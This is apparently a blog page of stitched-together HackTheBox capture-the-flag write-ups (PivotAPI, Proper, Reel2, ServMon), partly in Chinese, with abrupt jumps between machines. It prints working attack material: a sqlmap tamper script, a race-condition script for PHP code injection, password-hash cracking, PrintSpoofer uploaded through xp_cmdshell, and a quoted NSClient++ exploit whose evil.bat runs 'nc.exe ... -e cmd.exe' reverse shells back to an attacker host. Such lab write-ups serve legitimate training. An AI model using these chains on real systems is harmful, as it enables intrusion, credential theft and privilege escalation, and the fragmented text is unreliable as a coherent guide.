┌──(root💀kali)-[~/hackthebox/machine/pivotapi] └─# python3 shell.py Successful login: sa@10.10.10.240 Trying to enable xp_cmdshell ... CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\Windows\system32> whoami nt service\mssql$sqlexpress CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\Windows\system32> cd / CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\> dir El volumen de la unidad C no tiene etiqueta. El número de serie del volumen es: B2F2-7E0A
Directorio de C:\
08/08/2020 19:23 <DIR> Developers 08/08/2020 12:53 <DIR> inetpub 08/08/2020 22:48 <DIR> PerfLogs 19/02/2021 14:42 <DIR> Program Files 09/08/2020 17:06 <DIR> Program Files (x86) 08/08/2020 19:46 <DIR> Users 29/04/2021 17:31 <DIR> Windows 0 archivos 0 bytes 7 dirs 14.177.931.264 bytes libres CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\> mkdir temp CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\> UPLOAD PrintSpoofer64.exe C:\temp\printspoofer.exe Uploading PrintSpoofer64.exe to C:\temp\printspoofer.exe Data length (b64-encoded): 35.3359375KB 100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████| 40.0/40.0 [00:05<00:00, 6.84KB/s] Longitud de entrada = 36208 Longitud de salida = 27136 CertUtil: -decode comando completado correctamente. MD5 hashes match: 108da75de148145b8f056ec0827f1665 *** UPLOAD PROCEDURE FINISHED *** CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\> cd temp CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\temp> dir El volumen de la unidad C no tiene etiqueta. El número de serie del volumen es: B2F2-7E0A
OS: Windows Difficulty: Hard Points: 40 Release: 13 Mar 2021 IP: 10.10.10.231
information gathering
first use nmap as usaul
1 2 3 4 5
┌──(root💀kali)-[~/hackthebox/machine/proper] └─# nmap -sV -v -p- -Pn --min-rate=10000 10.10.10.231 PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Directory/File Enumeration
Let’s see what wfuzz and SecLists has to offer.
Licenses
I wonder what this is about?
In any case, let’s keep this in view first while we check out other information.
usernames
I thought I saw some very interesting HTML IDs when I was looking at the HTML source code.
1
<div role="tabpanel" class="tab-pane fade in active"id="dustin">
Doesn’t that look like a username? Wait, there’s more…
Interestingly, if either parameter (order or h) from the above relative URL is missing, I get the following, what looks like an error message.
From the message, a salt of some kind is exposed. I wonder where does the salt fit in?
John the Ripper
Could the MD5 hash a1b30d31d344a5a4e41e8496ccbdd26b be the MD5 digest of the salt combined in some way with the value in the order parameter? To confirm I came up with the following wordlist, in combination with John the Ripper.
1 2 3
id+desc id%20desc id desc
These are the dynamic formats in JtR involving MD5.
┌──(root💀kali)-[~/hackthebox/machine/proper] └─# john --list=subformats | grep md5 Format = dynamic_0 type = dynamic_0: md5($p) (raw-md5) Format = dynamic_1 type = dynamic_1: md5($p.$s) (joomla) Format = dynamic_2 type = dynamic_2: md5(md5($p)) (e107) Format = dynamic_3 type = dynamic_3: md5(md5(md5($p))) Format = dynamic_4 type = dynamic_4: md5($s.$p) (OSC) Format = dynamic_5 type = dynamic_5: md5($s.$p.$s) Format = dynamic_6 type = dynamic_6: md5(md5($p).$s) Format = dynamic_8 type = dynamic_8: md5(md5($s).$p) Format = dynamic_9 type = dynamic_9: md5($s.md5($p)) Format = dynamic_10 type = dynamic_10: md5($s.md5($s.$p)) Format = dynamic_11 type = dynamic_11: md5($s.md5($p.$s)) Format = dynamic_12 type = dynamic_12: md5(md5($s).md5($p)) (IPB) Format = dynamic_13 type = dynamic_13: md5(md5($p).md5($s)) Format = dynamic_14 type = dynamic_14: md5($s.md5($p).$s) Format = dynamic_15 type = dynamic_15: md5($u.md5($p).$s) Format = dynamic_16 type = dynamic_16: md5(md5(md5($p).$s).$s2) Format = dynamic_18 type = dynamic_18: md5($s.Y.$p.0xF7.$s) (Post.Office MD5) Format = dynamic_19 type = dynamic_19: md5($p) (Cisco PIX) Format = dynamic_20 type = dynamic_20: md5($p.$s) (Cisco ASA) Format = dynamic_22 type = dynamic_22: md5(sha1($p)) Format = dynamic_23 type = dynamic_23: sha1(md5($p)) Format = dynamic_29 type = dynamic_29: md5(utf16($p)) Format = dynamic_34 type = dynamic_34: md5(md4($p)) Format = dynamic_39 type = dynamic_39: md5($s.pad16($p)) (net-md5) UserFormat = dynamic_1001 type = dynamic_1001: md5(md5(md5(md5($p)))) UserFormat = dynamic_1002 type = dynamic_1002: md5(md5(md5(md5(md5($p))))) UserFormat = dynamic_1003 type = dynamic_1003: md5(md5($p).md5($p)) UserFormat = dynamic_1004 type = dynamic_1004: md5(md5(md5(md5(md5(md5($p)))))) UserFormat = dynamic_1005 type = dynamic_1005: md5(md5(md5(md5(md5(md5(md5($p))))))) UserFormat = dynamic_1006 type = dynamic_1006: md5(md5(md5(md5(md5(md5(md5(md5($p)))))))) UserFormat = dynamic_1007 type = dynamic_1007: md5(md5($p).$s) (vBulletin) UserFormat = dynamic_1008 type = dynamic_1008: md5($p.$s) (RADIUS User-Password) UserFormat = dynamic_1009 type = dynamic_1009: md5($s.$p) (RADIUS Responses) UserFormat = dynamic_1010 type = dynamic_1010: md5($p null_padded_to_len_100) RAdmin v2.x MD5 UserFormat = dynamic_1011 type = dynamic_1011: md5($p.md5($s)) (webEdition CMS) UserFormat = dynamic_1012 type = dynamic_1012: md5($p.md5($s)) (webEdition CMS) UserFormat = dynamic_1013 type = dynamic_1013: md5($p.PMD5(username)) (webEdition CMS) UserFormat = dynamic_1014 type = dynamic_1014: md5($p.$s) (long salt) UserFormat = dynamic_1015 type = dynamic_1015: md5(md5($p.$u).$s) (PostgreSQL 'pass the hash') UserFormat = dynamic_1016 type = dynamic_1016: md5($p.$s) (long salt) UserFormat = dynamic_1017 type = dynamic_1017: md5($s.$p) (long salt) UserFormat = dynamic_1018 type = dynamic_1018: md5(sha1(sha1($p))) UserFormat = dynamic_1019 type = dynamic_1019: md5(sha1(sha1(md5($p)))) UserFormat = dynamic_1020 type = dynamic_1020: md5(sha1(md5($p))) UserFormat = dynamic_1021 type = dynamic_1021: md5(sha1(md5(sha1($p)))) UserFormat = dynamic_1022 type = dynamic_1022: md5(sha1(md5(sha1(md5($p))))) UserFormat = dynamic_1024 type = dynamic_1024: sha1(md5($p)) (hash truncated to length 32) UserFormat = dynamic_1025 type = dynamic_1025: sha1(md5(md5($p))) (hash truncated to length 32) UserFormat = dynamic_1034 type = dynamic_1034: md5($p.$u) (PostgreSQL MD5) UserFormat = dynamic_1300 type = dynamic_1300: md5(md5_raw($p)) UserFormat = dynamic_1350 type = dynamic_1350: md5(md5($s.$p):$s) UserFormat = dynamic_1401 type = dynamic_1401: md5($u.\nskyper\n.$p) (Skype MD5) UserFormat = dynamic_1505 type = dynamic_1505: md5($p.$s.md5($p.$s)) UserFormat = dynamic_1506 type = dynamic_1506: md5($u.:XDB:.$p) (Oracle 12c "H"hash) UserFormat = dynamic_1518 type = dynamic_1518: md5(sha1($p).md5($p).sha1($p)) UserFormat = dynamic_1550 type = dynamic_1550: md5($u.:mongo:.$p) (MONGODB-CR system hash) UserFormat = dynamic_1551 type = dynamic_1551: md5($s.$u.(md5($u.:mongo:.$p)) (MONGODB-CR network hash) UserFormat = dynamic_1552 type = dynamic_1552: md5($s.$u.(md5($u.:mongo:.$p)) (MONGODB-CR network hash) UserFormat = dynamic_1560 type = dynamic_1560: md5($s.$p.$s2) (SocialEngine) UserFormat = dynamic_2000 type = dynamic_2000: md5($p) (PW > 55 bytes) UserFormat = dynamic_2001 type = dynamic_2001: md5($p.$s) (joomla) (PW > 23 bytes) UserFormat = dynamic_2002 type = dynamic_2002: md5(md5($p)) (e107) (PW > 55 bytes) UserFormat = dynamic_2003 type = dynamic_2003: md5(md5(md5($p))) (PW > 55 bytes) UserFormat = dynamic_2004 type = dynamic_2004: md5($s.$p) (OSC) (PW > 31 bytes) UserFormat = dynamic_2005 type = dynamic_2005: md5($s.$p.$s) (PW > 31 bytes) UserFormat = dynamic_2006 type = dynamic_2006: md5(md5($p).$s) (PW > 55 bytes) UserFormat = dynamic_2008 type = dynamic_2008: md5(md5($s).$p) (PW > 23 bytes) UserFormat = dynamic_2009 type = dynamic_2009: md5($s.md5($p)) (salt > 23 bytes) UserFormat = dynamic_2010 type = dynamic_2010: md5($s.md5($s.$p)) (PW > 32 or salt > 23 bytes) UserFormat = dynamic_2011 type = dynamic_2011: md5($s.md5($p.$s)) (PW > 32 or salt > 23 bytes) UserFormat = dynamic_2014 type = dynamic_2014: md5($s.md5($p).$s) (PW > 55 or salt > 11 bytes)
For a start, I’m going with the dynamic format dynamic_1 (md5($p.$s)) and dynamic_4 (md5($s.$p)). The only difference is that the salt $s is appended for one, and prepended for the other.
The hash must be made available to JtR in the following format: $
hash
1
a1b30d31d344a5a4e41e8496ccbdd26b$hie0shah6ooNoim
1 2 3 4 5 6 7 8 9 10 11
┌──(root💀kali)-[~/hackthebox/machine/proper] └─# john -w:subformats --format=dynamic_4 hash Using default input encoding: UTF-8 Loaded 1 password hash (dynamic_4 [md5($s.$p) (OSC) 256/256 AVX2 8x3]) Warning: no OpenMP support for this hashtype, consider --fork=4 Press 'q' or Ctrl-C to abort, almost any other key for status Warning: Only 3 candidates left, minimum 48 needed for performance. id desc (?) 1g 0:00:00:00 DONE (2021-05-08 05:27) 100.0g/s 300.0p/s 300.0c/s 300.0C/s id+desc..id desc Use the "--show --format=dynamic_4" options to display all of the cracked passwords reliably Session completed
So, the salt is prepended to the value in the order parameter. I see now…
Database Enumeration with sqlmap
To that end, I wrote the following sqlmap tamper script to enumerate the database.
proper.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
#!/usr/bin/env python import os import string from hashlib import md5 from urllib.parse import quote_plus from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def tamper(payload, **kwargs): ''' Custom tamper script for Proper '''
salt = b"hie0shah6ooNoim" h = md5(salt + payload.encode()).hexdigest() retVal = "%s&h=%s" % (quote_plus(payload), h)
return retVal
Because I’m tampering the payload and injecting it onto another parameter, I need to use –skip-urlencode switch when detecting the injection technique like so.
It appears that the theme parameter is trying to read header.inc. I wrote the following shell script to facilitate testing of the theme parameter and the generation of the hash value in h, driven solely by curl.
Looks like the theme parameter may be susceptible to remote file inclusion (RFI) vulnerability. Suppose we set up a Python http.server. Let’s see what gives.
Ah, the http:// wrapper is disabled! Let’s try SMB, shall we?
Heck, we have PROPER\web authenticating to us with a NetNTLMv2 hash, which can be easily cracked with JtR shown below.
1 2 3 4 5 6 7 8 9 10
┌──(root💀kali)-[~/hackthebox/machine/proper] └─# john -w:/usr/share/wordlists/rockyou.txt ntlmv2 Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status charlotte123! (web) 1g 0:00:00:00 DONE (2021-05-08 02:51) 1.470g/s 1457Kp/s 1457Kc/s 1457KC/s chibii..chaqueto Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably Session completed
Now, we can set up smbserver.py with credentials and an empty header.inc to simulate an actual SMB share.
If you look at the debug messages in green above, you’ll notice the race condition vulnerability between strpos and include. Suppose we can modify header.inc in real time, we may be able to get include to execute our PHP code.
To that end, I wrote the following shell script to modify header.inc in real time.
race.sh
1 2 3 4 5 6 7
#!/bin/bash PAYLOAD=$1
while :; do echo hello world > header.inc echo"$PAYLOAD" > header.inc done
Foothold
Once we have the ability to execute PHP code remotely, we can devise a way to get a reverse shell. I’m going with transfering nc64.exe over to one of the world-writable folders in Windows and run a reverse shell back to me like so.
┌──(root💀kali)-[~] └─# nc -lvp 1234 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::1234 Ncat: Listening on 0.0.0.0:1234 Ncat: Connection from 10.10.10.231. Ncat: Connection from 10.10.10.231:49751. Microsoft Windows [Version 10.0.17763.1728] (c) 2018 Microsoft Corporation. All rights reserved.
C:\inetpub\wwwroot\licenses>cd \users\web\desktop cd \users\web\desktop
C:\Users\web\Desktop>type user.txt type user.txt 3344dc2e5316dd94b0547eb967a1a1ea
Privilege Escalation
During enumeration of web’s account, I notice the presence of Cleanup folder in C:\Program Files and in it, three files.
1 2 3 4 5 6 7 8 9 10 11 12 13 14
C:\Program Files\Cleanup>dir dir Volume in drive C has no label. Volume Serial Number is FE0C-A36B
Directory of C:\Program Files\Cleanup
11/15/2020 05:05 AM <DIR> . 11/15/2020 05:05 AM <DIR> .. 11/15/2020 05:03 AM 2,999,808 client.exe 11/15/2020 10:22 AM 174 README.md 11/15/2020 06:20 AM 3,041,792 server.exe 3 File(s) 6,041,774 bytes 2 Dir(s) 7,343,374,336 bytes free
There’s also a Cleanup folder in C:\ProgramData with no files in it.
Reversing client.exe and server.exe
Turns out both binaries are PE executables built with Golang, with the tell- tale sign of an unusually large size for a PE executable and this.
Analysis of client.exe
Reverse engineering of client.exe shows the need to supply an argument in order to “make it do something”.
You can see from above that by supplying a -R and a file path triggers the main_serviceRestore function which in turn calls upon a named pipe client to connect to a named pipe, cleanupPipe.
Further down the control flow graph, this is what’s actually sent across the named pipe.
Analysis of server.exe
Suppose we replicate the behaviors of client.exe and server.exe in a Windows 10 installation. This is what we have determined above.
This is what’s displayed in server.exe.
Hmm, where have I seen C:\ProgramData\Cleanup before? By the way, dGVzdA== is the base64-encoded string of test. On top of that, this is evidence that a named pipe, cleanupPipe is listening for data.
We can send our own data to server.exe with good ol’ command prompt using the echo command like so.
Meanwhile in server.exe, I see this…
Something’s not right. One character is truncated. In any case, all I have to do is to add one more character behind the path. Well, this is what happened. CLEAN removes the file specified in the file path and move it to C:\ProgramData\Cleanup<base64-encoded file path> and its content encrypted with AES-GCM.
Conversely, RESTORE restores the file back to the original file path by decrypting the file contents and decoding the file path.
Getting root.txt
This gives me an idea. What if we create a symbolic link to C:\Users \Administrator\Desktop, do a CLEAN on that symbolic link + root.txt. This will back up the file at C:\ProgramData\Cleanup. Remove the link and create a real folder and then do a RESTORE. Maybe RESTORE will do us a favor and write the contents of root.txt to that folder and we can simply read the file?
Create directory junction
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
C:\Users\web\Downloads>mklink /j dipshit \users\administrator\desktop mklink /j dipshit \users\administrator\desktop Junction created for dipshit <<===>> \users\administrator\desktop
C:\Users\web\Downloads>dir dir Volume in drive C has no label. Volume Serial Number is FE0C-A36B
Directory of C:\Users\web\Downloads
05/08/2021 02:52 AM <DIR> . 05/08/2021 02:52 AM <DIR> .. 05/08/2021 02:52 AM <JUNCTION> dipshit [C:\users\administrator\desktop] 0 File(s) 0 bytes 3 Dir(s) 7,342,006,272 bytes free
C:\Users\web\Downloads>type dipshit\root.txt type dipshit\root.txt a8393e214a40d2e28d5eff5504022ca1
Afterthought
One of the creators of Proper told me that privilege escalation is possible from an arbitrary file write. Indeed, WerTrigger is one such local privilege escalation exploit weaponizing arbitrary file writes using Windows problem reporting framework among others such as UsoDLLLoader and DiagHub.
And there you have it.
Summary of knowledge
John crack with salt
self write sqlmap tamper script to get data
Remote File Inclusion via SMB share
Race Condition to get code excecution
john crack netntlmv2 hash
Privilege Escalation via reversing .exe file
use WerTrigger for arbitrary file write using Windows problem reporting framework among others such as UsoDLLLoader and DiagHub.
Contact me
QQ: 1185151867
twitter: https://twitter.com/fdlucifer11
github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…
root@kali:~/hackthebox/machine/reel2# nmap -sV -v -p- --min-rate=10000 10.10.10.210 PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 8.5 443/tcp open ssl/https? 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 6001/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 6002/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 6004/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 6005/tcp open msrpc Microsoft Windows RPC 6006/tcp open msrpc Microsoft Windows RPC 6007/tcp open msrpc Microsoft Windows RPC 6008/tcp open msrpc Microsoft Windows RPC 6010/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 6011/tcp open msrpc Microsoft Windows RPC 6012/tcp open msrpc Microsoft Windows RPC 6027/tcp open msrpc Microsoft Windows RPC 8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.2.32) Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
root@kali:~# nc -lvp 9001 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::9001 Ncat: Listening on 0.0.0.0:9001 Ncat: Connection from 10.10.10.210. Ncat: Connection from 10.10.10.210:57417. Windows PowerShell Copyright (C) 2016 Microsoft Corporation. All rights reserved.
C:\Users\HASEE>nmap -sC -sV -v -p- 10.10.10.184 --min-rate=10000 PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_01-18-20 12:05PM <DIR> Users | ftp-syst: |_ SYST: Windows_NT 22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0) | ssh-hostkey: | 2048 b9:89:04:ae:b6:26:07:3f:61:89:75:cf:10:29:28:83 (RSA) | 256 71:4e:6c:c0:d3:6e:57:4f:06:b8:95:3d:c7:75:57:53 (ECDSA) |_ 256 15:38:bd:75:06:71:67:7a:01:17:9c:5c:ed:4c:de:0e (ED25519) 80/tcp open http | fingerprint-strings: | GetRequest, HTTPOptions, RTSPRequest: | HTTP/1.1 200 OK | Content-type: text/html | Content-Length: 340 | Connection: close | AuthInfo: | <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> | <html xmlns="http://www.w3.org/1999/xhtml"> | <head> | <title></title> | <script type="text/javascript"> | window.location.href = "Pages/login.htm"; | </script> | </head> | <body> | </body> | </html> | NULL: | HTTP/1.1 408 Request Timeout | Content-type: text/html | Content-Length: 0 | Connection: close |_ AuthInfo: |_http-favicon: Unknown favicon MD5: 3AEF8B29C4866F96A539730FAB53A88F | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Site doesn't have a title (text/html). 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 5040/tcp open unknown 5666/tcp open tcpwrapped 6063/tcp open x11? 6699/tcp open napster? 7680/tcp open pando-pub? 8443/tcp open ssl/https-alt | fingerprint-strings: | FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions: | HTTP/1.1 404 | Content-Length: 18 | Document not found | GetRequest: | HTTP/1.1 302 | Content-Length: 0 | Location: /index.html | refo |_ 2-contai | http-methods: |_ Supported Methods: GET | http-title: NSClient++ |_Requested resource was /index.html | ssl-cert: Subject: commonName=localhost | Issuer: commonName=localhost | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha1WithRSAEncryption | Not valid before: 2020-01-14T13:24:20 | Not valid after: 2021-01-13T13:24:20 | MD5: 1d03 0c40 5b7a 0f6d d8c8 78e3 cba7 38b4 |_SHA-1: 7083 bd82 b4b0 f9c0 cc9c 5019 2f9f 9291 4694 8334 |_ssl-date: TLS randomness does not represent time 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC 49670/tcp open msrpc Microsoft Windows RPC
发现21端口可以使用Anonymous用户无需密码登录
里面发现2个用户文件夹
Nadine
1 2 3 4 5 6 7
Nathan,
I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder.
Regards
Nadine
Nathan
Notes to do.txt
1 2 3 4 5
1) Change the password for NVMS - Complete 2) Lock down the NSClient Access - Complete 3) Upload the passwords 4) Remove public access to NVMS 5) Place the secret files in SharePoint
nadine@SERVMON C:\Program Files\NSClient++>type nsclient.ini ´╗┐# If you want to fill this file with all available options run the following command: # nscp settings --generate --add-defaults --load-all # If you want to activate a module and bring in all its options use: # nscp settings --activate-module <MODULE NAME> --add-defaults # For details run: nscp settings --help
Details: When NSClient++ is installed with Web Server enabled, local low privilege users have the ability to read the web administator's password in cleartext from the configuration file. From here a user is able to login to the web server and make changes to the configuration file that is normally restricted. The user is able to enable the modules to check external scripts and schedule those scripts to run. There doesn't seem to be restrictions on where the scripts are called from, so the user can create the script anywhere. Since the NSClient++ Service runs as Local System, these scheduled scripts run as that user and the low privilege user can gain privilege escalation. A reboot, as far as I can tell, is required to reload and read the changes to the web config.
Prerequisites: To successfully exploit this vulnerability, an attacker must already have local access to a system running NSClient++ with Web Server enabled using a low privileged user account with the ability to reboot the system.
Exploit: 1. Grab web administrator password - open c:\program files\nsclient++\nsclient.ini or - run the following that is instructed when you select forget password C:\Program Files\NSClient++>nscp web -- password --display Current password: SoSecret
2. Login and enable following modules including enable at startup and save configuration - CheckExternalScripts - Scheduler
3. Download nc.exe and evil.bat to c:\temp from attacking machine @echo off c:\temp\nc.exe 192.168.0.163 443 -e cmd.exe
4. Setup listener on attacking machine nc -nlvvp 443
5. Add script foobar to call evil.bat and save settings - Settings > External Scripts > Scripts - Add New - foobar command = c:\temp\evil.bat
6. Add schedulede to call script every 1 minute and save settings - Settings > Scheduler > Schedules - Add new - foobar interval = 1m command = foobar
7. Restart the computer and waitfor the reverse shell on attacking machine nc -nlvvp 443 listening on [any] 443 ... connect to [192.168.0.163] from (UNKNOWN) [192.168.0.117] 49671 Microsoft Windows [Version 10.0.17134.753] (c) 2018 Microsoft Corporation. All rights reserved.
C:\Program Files\NSClient++>whoami whoami nt authority\system Risk: The vulnerability allows local attackers to escalate privileges and execute arbitrary code as Local System
先查看自己的版本看看是否受影响
1 2 3 4
nadine@SERVMON C:\Program Files\NSClient++>nscp test D core NSClient++ 0.5.2.35 2018-01-28 x64 Loading settings and logger... C:\Program Files\NSClient++\nsclient.log could not be opened, Discarding: debug: NSClient++ 0.5.2.35 2018-01-28 x64 Loading se ttings and logger...
确实受到此漏洞的影响,下面先新建一个bat脚本,放到c:\Temp\目录下面
evil.bat
1 2
@echo off c:\temp\nc.exe 10.10.14.4 443 -e cmd.exe
然后将nc.exe放入c:\temp\目录下
如下图配置一个脚本,以备之后点击之后运行bat文件弹回shell
从界面上的“control”按钮重新启动NSClient服务;
从Web界面的“queries”选项卡运行上一个脚本…
成功的返回了shell
1 2 3 4 5 6 7 8 9 10
C:\Users\HASEE\Desktop\hack the box靶机渗透\ServMon>nc.exe -lvp 443 listening on [any] 443 ... 10.10.10.184: inverse host lookup failed: h_errno 11004: NO_DATA (11004:11004) connect to [10.10.14.4] from (UNKNOWN) [10.10.10.184] 50272: NO_DATA (11004:11004) Microsoft Windows [Version 10.0.18363.752] (c) 2019 Microsoft Corporation. All rights reserved.
C:\Program Files\NSClient++>whoami whoami nt authority\system
并且得到了最后的root.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
C:\Users\Administrator\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is 728C-D22C